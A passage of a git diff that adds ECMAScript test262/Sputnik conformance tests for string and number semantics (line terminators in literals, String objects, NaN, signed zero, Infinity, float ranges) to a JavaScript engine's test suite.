Grammar Notation 7 5.2 Algorithm Conventions 9 6. Source Text 10 7 Lexical Conventions 11 7.1 Unicode Format-Control Characters 11 7.2 White Space 11 7.3 Line Terminators 12 7.4 Comments 12 - ii - 7.5 Tokens 13 7.5.1 Reserved Words 13 7.5.2 Keywords 13 7.5.3 Future Reserved Words 14 7.6 Identifiers 14 7.7 Punctuators 15 7.8 Literals 16 7.8.1 Null Literals 16 7.8.2 Boolean Literals 16 7.8.3 Numeric Literals 16 7.8.4 String Literals 18 7.8.5 Regular Expression Literals 20 7.9 Automatic Semicolon Insertion 21 7.9.1 Rules of Automatic Semicolon Insertion 21 7.9.2 Examples of Automatic Semicolon Insertion 22 8 Types 24 8.1 The Undefined Type 24 8.2 The Null Type 24 8.3 The Boolean Type 24 8.4 The String Type 24 8.5 The Number Type 24 8.6 The Object Type 25 8.6.1 Property Attributes 25 8.6.2 Internal Properties and Methods 26 8.7 The Reference Type 29 8.7.1 GetValue (V) 29 8.7.2 PutValue (V, W) 29 8.8 The List Type 30 8.9 The Completion Type 30 9 Type Conversion 30 9.1 ToPrimitive 30 9.2 ToBoolean 30 9.3 ToNumber 31 9.3.1 ToNumber Applied to the String Type 31 9.4 ToInteger 34 9.5 ToInt32: (Signed 32 Bit Integer) 34 9.6 ToUint32: (Unsigned 32 Bit Integer) 34 9.7 ToUint16: (Unsigned 16 Bit Integer) 35 9.8 ToString 35 9.8.1 ToString Applied to the Number Type 35 9.9 ToObject 36 10 Execution Contexts 37 10.1 Definitions 37 10.1.1 Function Objects 37 10.1.2 Types of Executable Code 37 10.1.3 Variable Instantiation 37 10.1.4 Scope Chain and Identifier Resolution 38 10.1.5 Global Object 38 10.1.6 Activation Object 38 - i i i - 10.1.7 This 39 10.1.8 Arguments Object 39 10.2 Entering An Execution Context 39 10.2.1 Global Code 39 10.2.2 Eval Code 39 10.2.3 Function Code 39 11 Expressions 40 11.1 Primary Expressions 40 11.1.1 The this Keyword 40 11.1.2 Identifier Reference 40 11.1.3 Literal Reference 40 11.1.4 Array Initialiser 40 11.1.5 Object Initialiser 41 11.1.6 The Grouping Operator 42 11.2 Left-Hand-Side Expressions 43 11.2.1 Property Accessors 43 11.2.2 The new Operator 44 11.2.3 Function Calls 44 11.2.4 Argument Lists 45 11.2.5 Function Expressions 45 11.3 Postfix Expressions 45 11.3.1 Postfix Increment Operator 45 11.3.2 Postfix Decrement Operator 45 11.4 Unary Operators 46 11.4.1 The delete Operator 46 11.4.2 The void Operator 46 11.4.3 The typeof Operator 46 11.4.4 Prefix Increment Operator 47 11.4.5 Prefix Decrement Operator 47 11.4.6 Unary + Operator 47 11.4.7 Unary - Operator 47 11.4.8 Bitwise NOT Operator ( ~) 48 11.4.9 Logical NOT Operator ( !) 48 11.5 Multiplicative Operators 48 11.5.1 Applying the * Operator 48 11.5.2 Applying the / Operator 49 11.5.3 Applying the % Operator 49 11.6 Additive Operators 50 11.6.1 The Addition operator ( +) 50 11.6.2 The Subtraction Operator ( -) 50 11.6.3 Applying the Additive Operators ( +,- ) to Numbers 51 11.7 Bitwise Shift Operators 51 11.7.1 The Left Shift Operator ( <<) 51 11.7.2 The Signed Right Shift Operator ( >>) 51 11.7.3 The Unsigned Right Shift Operator ( >>>) 52 11.4 Relational Operators 52 11.8.1 The Less-than Operator ( <) 53 11.8.2 The Greater-than Operator ( >) 53 11.8.3 The Less-than-or-equal Operator ( <=) 53 11.8.4 The Greater-than-or-equal Operator ( >=) 53 11.8.5 The Abstract Relational Comparison Algorithm 53 - iv - 11.8.6 The instanceof operator 54 11.8.7 The in operator 54 11.9 Equality Operators 54 11.9.1 The Equals Operator ( ==) 55 11.9.2 The Does-not-equals Operator ( !=) 55 11.9.3 The Abstract Equality Comparison Algorithm 55 11.9.4 The Strict Equals Operator ( ===) 56 11.9.5 The Strict Does-not-equal Operator ( !==) 56 11.9.6 The Strict Equality Comparison Algorithm 56 11.10 Binary Bitwise Operators 57 11.11 Binary Logical Operators 58 11.12 Conditional Operator ( ?: ) 58 11.13 Assignment Operators 59 11.13.1 Simple Assignment ( =) 59 11.13.2 Compound Assignment ( op=) 60 11.14 Comma Operator ( , ) 60 12 Statements 61 12.1 Block 61 12.2 Variable statement 62 12.3 Empty Statement 63 12.4 Expression Statement 63 12.5 The if Statement 63 12.6 Iteration Statements 64 12.6.1 The do-while Statement 64 12.6.2 The while statement 64 12.6.3 The for Statement 65 12.6.4 The for-in Statement 65 12.7 The continue Statement 66 12.8 The break Statement 67 12.9 The return Statement 67 12.10 The with Statement 67 12.11 The switch Statement 68 12.12 Labelled Statements 69 12.13 The throw statement 69 12.14 The try statement 70 13 Function Definition 71 13.1 Definitions 72 13.1.1 Equated Grammar Productions 72 13.1.2 Joined Objects 72 13.2 Creating Function Objects 72 13.2.1 [[Call]] 73 13.2.2 [[Construct]] 74 14 Program 75 15 Native ECMAScript Objects 76 15.1 The Global Object 76 15.1.1 Value Properties of the Global Object 77 15.1.2 Function Properties of the Global Object 77 15.1.3 URI Handling Function Properties 78 - v - 15.1.4 Constructor Properties of the Global Object 83 15.1.5 Other Properties of the Global Object 83 15.2 Object Objects 83 15.2.1 The Object Constructor Called as a Function 83 15.2.2 The Object Constructor 84 15.2.3 Properties of the Object Constructor 84 15.2.4 Properties of the Object Prototype Object 84 15.2.5 Properties of Object Instances 85 15.3 Function Objects 85 ';
+if(largeStr !== 'Standard ECMA-2623r d Edition - December 1999S t a n d a r d i z i n g Informat i o n and Commu n i c a t i o n SystemsPhone: +41 22 849.60.00 - Fax: +41 22 849.60.01 - URL: ht tp: / /www.ecma.ch - Internet: helpdesk@ecma.chECMAScript LanguageSpecificationStandard ECMA-2623r d Edition - December 1999S t a n d a r d i z i n g Informat i o n and Commu n i c a t i o n SystemsPhone: +41 22 849.60.00 - Fax: +41 22 849.60.01 - URL: ht tp: / /www.ecma.ch - Internet: helpdesk@ecma.chMB Ecma-262.doc 08-04-02 16,53ECMAScript LanguageSpecificationBrief HistoryThis ECMA Standard is based on several originating technologies, the most well known being JavaScript (Netscape)and JScript (Microsoft). The language was invented by Brendan Eich at Netscape and first appeared in thatcompans Navigator 2.0 browser. It has appeared in all subsequent browsers from Netscape and in all browsers fromMicrosoft starting with Internet Explorer 3.0.The development of this Standard started in November 1996. The first edition of this ECMA Standard was adopted bythe ECMA General Assembly of June 1997.That ECMA Standard was submitted to ISO/IEC JTC 1 for adoption under the fast-track procedure, and approved asinternational standard ISO/IEC 16262, in April 1998. The ECMA General Assembly of June 1998 approved thesecond edition of ECMA-262 to keep it fully aligned with ISO/IEC 16262. Changes between the first and the secondedition are editorial in nature.The current document defines the third edition of the Standard and includes powerful regular expressions, betterstring handling, new control statements, try/catch exception handling, tighter definition of errors, formatting fornumeric output and minor changes in anticipation of forthcoming internationalisation facilities and future languagegrowth.Work on the language is not complete. The technical committee is working on significant enhancements, includingmechanisms for scripts to be created and used across the Internet, and tighter coordination with other standards bodiessuch as groups within the World Wide Web Consortium and the Wireless Application Protocol Forum.This Standard has been adopted as 3rd Edition of ECMA-262 by the ECMA General Assembly in December, 1999.- i -Table of contents1 Scope 12 Conformance 13 References 14 Overview 1 4.1 Web Scripting 2 4.2 Language Overview 2 4.2.1 Objects 3 4.3 Definitions 4 4.3.1 Type 4 4.3.2 Primitive Value 4 4.3.3 Object 4 4.3.4 Constructor 4 4.3.5 Prototype 4 4.3.6 Native Object 4 4.3.7 Built-in Object 4 4.3.8 Host Object 4 4.3.9 Undefined Value 4 4.3.10 Undefined Type 4 4.3.11 Null Value 4 4.3.12 Null Type 4 4.3.13 Boolean Value 4 4.3.14 Boolean Type 4 4.3.15 Boolean Object 5 4.3.16 String Value 5 4.3.17 String Type 5 4.3.18 String Object 5 4.3.19 Number Value 5 4.3.20 Number Type 5 4.3.21 Number Object 5 4.3.22 Infinity 5 4.3.23 NaN 5 5 Notational Conventions 6 5.1 Syntactic and Lexical Grammars 6 5.1.1 Context-Free Grammars 6 5.1.2 The Lexical and RegExp Grammars 6 5.1.3 The Numeric String Grammar 6 5.1.4 The Syntactic Grammar 6 5.1.5 Grammar Notation 7 5.2 Algorithm Conventions 9 6. Source Text 10 7 Lexical Conventions 11 7.1 Unicode Format-Control Characters 11 7.2 White Space 11 7.3 Line Terminators 12 7.4 Comments 12 - ii - 7.5 Tokens 13 7.5.1 Reserved Words 13 7.5.2 Keywords 13 7.5.3 Future Reserved Words 14 7.6 Identifiers 14 7.7 Punctuators 15 7.8 Literals 16 7.8.1 Null Literals 16 7.8.2 Boolean Literals 16 7.8.3 Numeric Literals 16 7.8.4 String Literals 18 7.8.5 Regular Expression Literals 20 7.9 Automatic Semicolon Insertion 21 7.9.1 Rules of Automatic Semicolon Insertion 21 7.9.2 Examples of Automatic Semicolon Insertion 22 8 Types 24 8.1 The Undefined Type 24 8.2 The Null Type 24 8.3 The Boolean Type 24 8.4 The String Type 24 8.5 The Number Type 24 8.6 The Object Type 25 8.6.1 Property Attributes 25 8.6.2 Internal Properties and Methods 26 8.7 The Reference Type 29 8.7.1 GetValue (V) 29 8.7.2 PutValue (V, W) 29 8.8 The List Type 30 8.9 The Completion Type 30 9 Type Conversion 30 9.1 ToPrimitive 30 9.2 ToBoolean 30 9.3 ToNumber 31 9.3.1 ToNumber Applied to the String Type 31 9.4 ToInteger 34 9.5 ToInt32: (Signed 32 Bit Integer) 34 9.6 ToUint32: (Unsigned 32 Bit Integer) 34 9.7 ToUint16: (Unsigned 16 Bit Integer) 35 9.8 ToString 35 9.8.1 ToString Applied to the Number Type 35 9.9 ToObject 36 10 Execution Contexts 37 10.1 Definitions 37 10.1.1 Function Objects 37 10.1.2 Types of Executable Code 37 10.1.3 Variable Instantiation 37 10.1.4 Scope Chain and Identifier Resolution 38 10.1.5 Global Object 38 10.1.6 Activation Object 38 - i i i - 10.1.7 This 39 10.1.8 Arguments Object 39 10.2 Entering An Execution Context 39 10.2.1 Global Code 39 10.2.2 Eval Code 39 10.2.3 Function Code 39 11 Expressions 40 11.1 Primary Expressions 40 11.1.1 The this Keyword 40 11.1.2 Identifier Reference 40 11.1.3 Literal Reference 40 11.1.4 Array Initialiser 40 11.1.5 Object Initialiser 41 11.1.6 The Grouping Operator 42 11.2 Left-Hand-Side Expressions 43 11.2.1 Property Accessors 43 11.2.2 The new Operator 44 11.2.3 Function Calls 44 11.2.4 Argument Lists 45 11.2.5 Function Expressions 45 11.3 Postfix Expressions 45 11.3.1 Postfix Increment Operator 45 11.3.2 Postfix Decrement Operator 45 11.4 Unary Operators 46 11.4.1 The delete Operator 46 11.4.2 The void Operator 46 11.4.3 The typeof Operator 46 11.4.4 Prefix Increment Operator 47 11.4.5 Prefix Decrement Operator 47 11.4.6 Unary + Operator 47 11.4.7 Unary - Operator 47 11.4.8 Bitwise NOT Operator ( ~) 48 11.4.9 Logical NOT Operator ( !) 48 11.5 Multiplicative Operators 48 11.5.1 Applying the * Operator 48 11.5.2 Applying the / Operator 49 11.5.3 Applying the % Operator 49 11.6 Additive Operators 50 11.6.1 The Addition operator ( +) 50 11.6.2 The Subtraction Operator ( -) 50 11.6.3 Applying the Additive Operators ( +,- ) to Numbers 51 11.7 Bitwise Shift Operators 51 11.7.1 The Left Shift Operator ( <<) 51 11.7.2 The Signed Right Shift Operator ( >>) 51 11.7.3 The Unsigned Right Shift Operator ( >>>) 52 11.4 Relational Operators 52 11.8.1 The Less-than Operator ( <) 53 11.8.2 The Greater-than Operator ( >) 53 11.8.3 The Less-than-or-equal Operator ( <=) 53 11.8.4 The Greater-than-or-equal Operator ( >=) 53 11.8.5 The Abstract Relational Comparison Algorithm 53 - iv - 11.8.6 The instanceof operator 54 11.8.7 The in operator 54 11.9 Equality Operators 54 11.9.1 The Equals Operator ( ==) 55 11.9.2 The Does-not-equals Operator ( !=) 55 11.9.3 The Abstract Equality Comparison Algorithm 55 11.9.4 The Strict Equals Operator ( ===) 56 11.9.5 The Strict Does-not-equal Operator ( !==) 56 11.9.6 The Strict Equality Comparison Algorithm 56 11.10 Binary Bitwise Operators 57 11.11 Binary Logical Operators 58 11.12 Conditional Operator ( ?: ) 58 11.13 Assignment Operators 59 11.13.1 Simple Assignment ( =) 59 11.13.2 Compound Assignment ( op=) 60 11.14 Comma Operator ( , ) 60 12 Statements 61 12.1 Block 61 12.2 Variable statement 62 12.3 Empty Statement 63 12.4 Expression Statement 63 12.5 The if Statement 63 12.6 Iteration Statements 64 12.6.1 The do-while Statement 64 12.6.2 The while statement 64 12.6.3 The for Statement 65 12.6.4 The for-in Statement 65 12.7 The continue Statement 66 12.8 The break Statement 67 12.9 The return Statement 67 12.10 The with Statement 67 12.11 The switch Statement 68 12.12 Labelled Statements 69 12.13 The throw statement 69 12.14 The try statement 70 13 Function Definition 71 13.1 Definitions 72 13.1.1 Equated Grammar Productions 72 13.1.2 Joined Objects 72 13.2 Creating Function Objects 72 13.2.1 [[Call]] 73 13.2.2 [[Construct]] 74 14 Program 75 15 Native ECMAScript Objects 76 15.1 The Global Object 76 15.1.1 Value Properties of the Global Object 77 15.1.2 Function Properties of the Global Object 77 15.1.3 URI Handling Function Properties 78 - v - 15.1.4 Constructor Properties of the Global Object 83 15.1.5 Other Properties of the Global Object 83 15.2 Object Objects 83 15.2.1 The Object Constructor Called as a Function 83 15.2.2 The Object Constructor 84 15.2.3 Properties of the Object Constructor 84 15.2.4 Properties of the Object Prototype Object 84 15.2.5 Properties of Object Instances 85 15.3 Function Objects 85 '){
+ $ERROR('#2: Large string 8192 bytes');
+}
+//
+////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A7.1.js b/js/src/tests/test262/ch08/8.4/S8.4_A7.1.js
new file mode 100644
index 000000000..137cf30bf
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A7.1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * <LF> between chunks of one string not allowed
+ *
+ * @path ch08/8.4/S8.4_A7.1.js
+ * @description Insert <LF> between chunks of one string
+ * @negative
+ */
+
+eval("var x = asdf\u000Aghjk");
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A7.2.js b/js/src/tests/test262/ch08/8.4/S8.4_A7.2.js
new file mode 100644
index 000000000..bd2cfd25f
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A7.2.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * <CR> between chunks of one string not allowed
+ *
+ * @path ch08/8.4/S8.4_A7.2.js
+ * @description Insert <CR> between chunks of one string
+ * @negative
+ */
+
+eval("var x = asdf\u000Dghjk");
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A7.3.js b/js/src/tests/test262/ch08/8.4/S8.4_A7.3.js
new file mode 100644
index 000000000..37ee22cae
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A7.3.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * <PS> between chunks of one string not allowed
+ *
+ * @path ch08/8.4/S8.4_A7.3.js
+ * @description Insert <PS> between chunks of one string
+ * @negative
+ */
+
+eval("var x = asdf\u2028ghjk");
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A7.4.js b/js/src/tests/test262/ch08/8.4/S8.4_A7.4.js
new file mode 100644
index 000000000..7c8373c54
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A7.4.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * <LS> between chunks of one string not allowed
+ *
+ * @path ch08/8.4/S8.4_A7.4.js
+ * @description Insert <LS> between chunks of one string
+ * @negative
+ */
+
+eval("var x = asdf\u2029ghjk");
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A8.js b/js/src/tests/test262/ch08/8.4/S8.4_A8.js
new file mode 100644
index 000000000..89872cd4c
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A8.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Empty string, 0, false are all equal (==) to each other, since they all evaluate to 0
+ *
+ * @path ch08/8.4/S8.4_A8.js
+ * @description Compare empty string with undefined, null, 0 and false
+ */
+
+var str='';
+
+////////////////////////////////////////////////////////////
+// CHECK#1
+if (str == undefined){
+ $ERROR('#1: Empty string and undefined are not equal (!=) to each other');
+}
+//
+/////////////////////////////////////////////////////////////
+
+////////////////////////////////////////////////////////////
+// CHECK#2
+if (str == null){
+ $ERROR('#1: Empty string and Null are not equal (!=) to each other');
+}
+//
+/////////////////////////////////////////////////////////////
+
+////////////////////////////////////////////////////////////
+// CHECK#3
+if (str != 0){
+ $ERROR('#3: Empty string and 0 are equal (==) to each other, since they all evaluate to 0');
+}
+//
+/////////////////////////////////////////////////////////////
+
+////////////////////////////////////////////////////////////
+// CHECK#4
+if (str != false){
+ $ERROR('#4: Empty string and false are equal (==) to each other, since they all evaluate to 0');
+}
+//
+/////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A9_T1.js b/js/src/tests/test262/ch08/8.4/S8.4_A9_T1.js
new file mode 100644
index 000000000..736648079
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A9_T1.js
@@ -0,0 +1,37 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Assignment to string literals calls String constructor
+ *
+ * @path ch08/8.4/S8.4_A9_T1.js
+ * @description Simple string variable compare with object String
+ */
+
+var str='ABC';
+var strObj=new String('ABC');
+
+////////////////////////////////////////////////////////////
+// CHECK#1
+if (str.constructor !== strObj.constructor){
+ $ERROR('#1: \'ABC\'.constructor === new String(\'ABC\').constructor');
+}
+//
+/////////////////////////////////////////////////////////////
+
+////////////////////////////////////////////////////////////
+// CHECK#2
+if (str != strObj){
+ $ERROR('#2: "ABC" == new String("ABC")');
+}
+//
+/////////////////////////////////////////////////////////////
+
+////////////////////////////////////////////////////////////
+// CHECK#3
+if (str === strObj){
+ $ERROR('#3: "ABC" !== new String("ABC")');
+}
+//
+/////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A9_T2.js b/js/src/tests/test262/ch08/8.4/S8.4_A9_T2.js
new file mode 100644
index 000000000..a32f5b146
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A9_T2.js
@@ -0,0 +1,62 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Assignment to string literals calls String constructor
+ *
+ * @path ch08/8.4/S8.4_A9_T2.js
+ * @description Compare empty string variable, object String('') and object String()
+ */
+
+var str="";
+var strObj=new String("");
+var strObj_=new String();
+
+////////////////////////////////////////////////////////////
+// CHECK#1
+if (str.constructor !== strObj.constructor){
+ $ERROR('#1: "".constructor === new String("").constructor');
+}
+//
+/////////////////////////////////////////////////////////////
+
+////////////////////////////////////////////////////////////
+// CHECK#2
+if (str.constructor !== strObj_.constructor){
+ $ERROR('#2: "".constructor === new String().constructor');
+}
+//
+/////////////////////////////////////////////////////////////
+
+////////////////////////////////////////////////////////////
+// CHECK#3
+if (str != strObj){
+ $ERROR('#3: values of str=""; and strObj=new String(""); are equal');
+}
+//
+/////////////////////////////////////////////////////////////
+
+////////////////////////////////////////////////////////////
+// CHECK#4
+if (str === strObj){
+ $ERROR('#4: objects of str=""; and strObj=new String(""); are different');
+}
+//
+/////////////////////////////////////////////////////////////
+
+////////////////////////////////////////////////////////////
+// CHECK#5
+if (str != strObj_){
+ $ERROR('#5: values of str=""; and strObj=new String(); are equal');
+}
+//
+/////////////////////////////////////////////////////////////
+
+////////////////////////////////////////////////////////////
+// CHECK#6
+if (str === strObj_){
+ $ERROR('#6: objects of str=""; and strObj=new String(); are different');
+}
+//
+/////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A9_T3.js b/js/src/tests/test262/ch08/8.4/S8.4_A9_T3.js
new file mode 100644
index 000000000..300883957
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A9_T3.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Assignment to string literals calls String constructor
+ *
+ * @path ch08/8.4/S8.4_A9_T3.js
+ * @description Simple empty string variable compare with empty object String
+ */
+
+var str="";
+var strObj=new String;
+
+////////////////////////////////////////////////////////////
+// CHECK#1
+if (str.constructor !== strObj.constructor){
+ $ERROR('#1: "".constructor === new String.constructor');
+}
+//
+/////////////////////////////////////////////////////////////
+
+////////////////////////////////////////////////////////////
+// CHECK#2
+if (str != strObj){
+ $ERROR('#2: values of str=""; and strObj=new String(""); are equal');
+}
+//
+/////////////////////////////////////////////////////////////
+
+////////////////////////////////////////////////////////////
+// CHECK#3
+if (str === strObj){
+ $ERROR('#3: objects of str=""; and strObj=new String(""); are different');
+}
+//
+/////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (typeof str == typeof strObj){
+ $ERROR('#4: types of str=""; and strObj=new String(""); are different');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch08/8.4/browser.js b/js/src/tests/test262/ch08/8.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/browser.js
diff --git a/js/src/tests/test262/ch08/8.4/shell.js b/js/src/tests/test262/ch08/8.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/shell.js
diff --git a/js/src/tests/test262/ch08/8.5/8.5.1.js b/js/src/tests/test262/ch08/8.5/8.5.1.js
new file mode 100644
index 000000000..076eebfba
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/8.5.1.js
@@ -0,0 +1,64 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.5/8.5.1.js
+ * @description Valid Number ranges
+ */
+
+// Check range support for Number values (IEEE 754 64-bit floats having the form s*m*2**e)
+//
+// For normalized floats, sign (s) is +1 or -1, m (mantisa) is a positive integer less
+// than 2**53 but not less than 2**52 and e (exponent) is an integer ranging from -1074 to 971
+//
+// For denormalized floats, s is +1 or -1, m is a positive integer less than 2**52, and
+// e is -1074
+//
+// Below 64-bit float values shown for informational purposes. Values may be positive or negative.
+// Infinity >= ~1.797693134862315907729305190789e+308 >= 2**1024
+// MAX_NORM = ~1.797693134862315708145274237317e+308 = (2**53 - 1) * (2**-52) * (2**1023) = (2**53-1) * (2**971) = (2**1024) - (2**971)
+// MIN_NORM = ~2.2250738585072013830902327173324e-308 = 2**-1022
+// MAX_DENORM = ~2.2250738585072008890245868760859e-308 = MIN_NORM - MIN_DENORM = (2**-1022) - (2**-1074)
+// MIN_DENORM = ~4.9406564584124654417656879286822e-324 = 2**-1074
+
+// Fill an array with 2 to the power of (0 ... -1075)
+var value = 1;
+var floatValues = new Array(1076);
+for(var power = 0; power <= 1075; power++){
+ floatValues[power] = value;
+ // Use basic math operations for testing, which are required to support 'gradual underflow' rather
+ // than Math.pow etc..., which are defined as 'implementation dependent'.
+ value = value * 0.5;
+}
+
+// The last value is below min denorm and should round to 0, everything else should contain a value
+if(floatValues[1075] !== 0) {
+ $ERROR("Value after min denorm should round to 0");
+}
+
+// Validate the last actual value is min denorm
+if(floatValues[1074] !== 4.9406564584124654417656879286822e-324) {
+ $ERROR("Min denorm value is incorrect: " + floatValues[1074]);
+}
+
+// Validate that every value is half the value before it up to 1
+for(var index = 1074; index > 0; index--){
+ if(floatValues[index] === 0){
+ $ERROR("2**-" + index + " should not be 0");
+ }
+ if(floatValues[index - 1] !== (floatValues[index] * 2)){
+ $ERROR("Value should be double adjacent value at index " + index);
+ }
+}
+
+// Max norm should be supported and compare less than inifity
+if(!(1.797693134862315708145274237317e+308 < Infinity)){
+ $ERROR("Max Number value 1.797693134862315708145274237317e+308 should not overflow to infinity");
+}
+
+// Numbers closer to 2**1024 then max norm should overflow to infinity
+if(!(1.797693134862315808e+308 === +Infinity)){
+ $ERROR("1.797693134862315808e+308 did not resolve to Infinity");
+}
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A1.js b/js/src/tests/test262/ch08/8.5/S8.5_A1.js
new file mode 100644
index 000000000..23a14a325
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A1.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * NaN !== NaN
+ *
+ * @path ch08/8.5/S8.5_A1.js
+ * @description Compare NaN with NaN
+ */
+
+var x = Number.NaN;
+var x_ = Number.NaN;
+
+///////////////////////////////////////////////////////
+// CHECK #1
+if (x === x_){
+ $ERROR('#1: NaN !== NaN ');
+}
+//
+//////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A10.js b/js/src/tests/test262/ch08/8.5/S8.5_A10.js
new file mode 100644
index 000000000..436c920c5
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A10.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Infinity is not a keyword
+ *
+ * @path ch08/8.5/S8.5_A10.js
+ * @description Create variable entitled Infinity
+ */
+
+var Infinity=1.0;
+Infinity='asdf';
+Infinity=true;
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A11_T1.js b/js/src/tests/test262/ch08/8.5/S8.5_A11_T1.js
new file mode 100644
index 000000000..e298d32ea
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A11_T1.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The integer 0 has two representations, +0 and -0
+ *
+ * @path ch08/8.5/S8.5_A11_T1.js
+ * @description Check 1.0/p_zero !== 1.0/n_zero
+ */
+
+var p_zero=+0;
+var n_zero=-0;
+
+if (1.0/p_zero === 1.0/n_zero){
+ $ERROR('#1: var p_zero=+0; var n_zero=-0; 1.0/p_zero !== 1.0/n_zero');
+}
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A11_T2.js b/js/src/tests/test262/ch08/8.5/S8.5_A11_T2.js
new file mode 100644
index 000000000..122c345ed
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A11_T2.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The integer 0 has two representations, +0 and -0
+ *
+ * @path ch08/8.5/S8.5_A11_T2.js
+ * @description Compare positive_zero and negative_zero
+ */
+
+var p_zero=+0;
+var n_zero=-0;
+
+//CHECK #1
+if ((p_zero == n_zero) !== true){
+ $ERROR('#1: var p_zero=+0; var n_zero=-0; p_zero != n_zero');
+}
+
+//CHECK #2
+if ((n_zero == 0) !== true){
+ $ERROR('#2: var p_zero=+0; var n_zero=-0; n_zero == 0');
+}
+
+//CHECK #3
+if ((p_zero == -0) !== true){
+ $ERROR('#3: var p_zero=+0; var n_zero=-0; p_zero == -0');
+}
+
+//CHECK #4
+if ((p_zero === 0) !== true){
+ $ERROR('#4: var p_zero=+0; var n_zero=-0; p_zero === 0');
+}
+
+//CHECK #5
+if ((n_zero === -0) !== true){
+ $ERROR('#5: var p_zero=+0; var n_zero=-0; n_zero === -0');
+}
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A12.1.js b/js/src/tests/test262/ch08/8.5/S8.5_A12.1.js
new file mode 100644
index 000000000..846aab24d
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A12.1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * +Infinity and Infinity are the same as Number.POSITIVE_INFINITY
+ *
+ * @path ch08/8.5/S8.5_A12.1.js
+ * @description Compare Infinity and +Infinity with Number.POSITIVE_INFINITY
+ */
+
+var p_inf=+Infinity;
+var inf=Infinity;
+
+//CHECK #1
+if (p_inf!==Number.POSITIVE_INFINITY){
+ $ERROR('#1: +Infinity is the same as Number.POSITIVE_INFINITY');
+}
+
+//CHECK #2
+if (inf!==Number.POSITIVE_INFINITY){
+ $ERROR('#2: Infinity is the same as Number.POSITIVE_INFINITY');
+}
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A12.2.js b/js/src/tests/test262/ch08/8.5/S8.5_A12.2.js
new file mode 100644
index 000000000..e1397ed1d
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A12.2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * -Infinity is the same as Number.NEGATIVE_INFINITY
+ *
